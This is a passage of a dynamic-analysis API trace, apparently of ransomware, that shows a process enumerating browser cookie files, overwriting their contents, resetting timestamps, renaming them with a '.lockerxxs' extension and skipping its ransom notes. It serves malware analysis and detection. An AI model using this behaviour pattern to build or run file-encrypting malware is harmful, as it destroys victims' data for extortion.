nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x1900031a, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt", cAlternateFileName="5P5NRG~4.TXT")) returned 1 [0088.544] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.544] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt") returned 1 [0088.544] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt") returned 1 [0088.544] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt") returned -1 [0088.544] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@msn[1].txt") returned="5p5nrgjn0js_halpmcxz@msn[1].txt" [0088.544] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.544] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.547] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt") returned="5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt" [0088.547] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.547] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xa8, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xa8, lpOverlapped=0x0) returned 1 [0088.548] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.548] CloseHandle (hObject=0x9c) returned 1 [0088.548] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt.lockerxxs")) returned 1 [0088.549] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf73d210, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf73d210, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf73d210, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x6c, dwReserved0=0x10000313, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt", cAlternateFileName="5P4910~1.TXT")) returned 1 [0088.549] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.549] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt") returned 1 [0088.549] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt") returned 1 [0088.549] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt") returned -1 [0088.549] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt") returned="5p5nrgjn0js_halpmcxz@scorecardresearch[2].txt" [0088.549] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.549] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.552] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt") returned="5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt" [0088.552] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.552] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x46, lpOverlapped=0x0) returned 1 [0088.552] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.552] CloseHandle (hObject=0x9c) returned 1 [0088.558] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt.lockerxxs")) returned 1 [0088.559] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf99e810, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf99e810, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf99e810, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x68, dwReserved0=0x10000313, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@skadtec[1].txt", cAlternateFileName="5P37A2~1.TXT")) returned 1 [0088.559] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.559] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@skadtec[1].txt") returned 1 [0088.559] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@skadtec[1].txt") returned 1 [0088.559] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@skadtec[1].txt") returned -1 [0088.559] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt") returned="5p5nrgjn0js_halpmcxz@server.adformdsp[1].txt" [0088.559] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.560] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.562] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt") returned="5p5nrgjn0js_halpmcxz@skadtec[1].txt" [0088.562] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.562] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x42, lpOverlapped=0x0) returned 1 [0088.563] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.563] CloseHandle (hObject=0x9c) returned 1 [0088.563] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt.lockerxxs")) returned 1 [0088.564] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf54e030, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf54e030, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf54e030, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0xb2, dwReserved0=0x1b000318, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@track.adform[2].txt", cAlternateFileName="5PD4D3~1.TXT")) returned 1 [0088.564] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.564] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@track.adform[2].txt") returned 1 [0088.564] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@track.adform[2].txt") returned 1 [0088.564] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@track.adform[2].txt") returned -1 [0088.564] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@skadtec[1].txt") returned="5p5nrgjn0js_halpmcxz@skadtec[1].txt" [0088.564] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.564] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.567] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt") returned="5p5nrgjn0js_halpmcxz@track.adform[2].txt" [0088.567] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.567] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x8c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x8c, lpOverlapped=0x0) returned 1 [0088.568] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.568] CloseHandle (hObject=0x9c) returned 1 [0088.568] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt.lockerxxs")) returned 1 [0088.569] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x555a9a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x555a9a10, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x555a9a10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x16000315, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@www.bing[2].txt", cAlternateFileName="5PA943~1.TXT")) returned 1 [0088.569] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.569] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@www.bing[2].txt") returned 1 [0088.569] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@www.bing[2].txt") returned 1 [0088.569] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@www.bing[2].txt") returned -1 [0088.569] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@track.adform[2].txt") returned="5p5nrgjn0js_halpmcxz@track.adform[2].txt" [0088.569] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.569] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.571] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt") returned="5p5nrgjn0js_halpmcxz@www.bing[2].txt" [0088.572] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.572] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0xb1, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0xb1, lpOverlapped=0x0) returned 1 [0088.573] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.573] CloseHandle (hObject=0x9c) returned 1 [0088.573] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt.lockerxxs")) returned 1 [0088.575] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54d8c7b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54d8c7b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54d8c7b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xa9, dwReserved0=0x14000317, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@www.linkedin[1].txt", cAlternateFileName="5PC3D9~1.TXT")) returned 1 [0088.575] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.575] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@www.linkedin[1].txt") returned 1 [0088.575] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@www.linkedin[1].txt") returned 1 [0088.575] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@www.linkedin[1].txt") returned -1 [0088.575] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.bing[2].txt") returned="5p5nrgjn0js_halpmcxz@www.bing[2].txt" [0088.575] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.575] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.578] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt") returned="5p5nrgjn0js_halpmcxz@www.linkedin[1].txt" [0088.578] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.578] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x83, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x83, lpOverlapped=0x0) returned 1 [0088.579] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.579] CloseHandle (hObject=0x9c) returned 1 [0088.579] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt.lockerxxs")) returned 1 [0088.580] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4523d1d0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x526fc010, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x526fc010, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x402, dwReserved0=0x16000315, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@www.msn[2].txt", cAlternateFileName="5PD551~1.TXT")) returned 1 [0088.580] PeekMessageA (in: lpMsg=0x18f394, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f394) returned 0 [0088.580] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@www.msn[2].txt") returned 1 [0088.580] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@www.msn[2].txt") returned 1 [0088.580] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@www.msn[2].txt") returned -1 [0088.580] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.linkedin[1].txt") returned="5p5nrgjn0js_halpmcxz@www.linkedin[1].txt" [0088.580] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" [0088.580] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\") returned="" [0088.585] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt") returned="5p5nrgjn0js_halpmcxz@www.msn[2].txt" [0088.585] SetFilePointer (in: hFile=0x9c, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.585] WriteFile (in: hFile=0x9c, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x3dc, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x3dc, lpOverlapped=0x0) returned 1 [0088.585] SetFileTime (hFile=0x9c, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.586] CloseHandle (hObject=0x9c) returned 1 [0088.586] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\Low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\low\\5p5nrgjn0js_halpmcxz@www.msn[2].txt.lockerxxs")) returned 1 [0088.587] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x1b000318, dwReserved1=0x4e00c4, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0088.587] PeekMessageA (in: lpMsg=0x18f394, 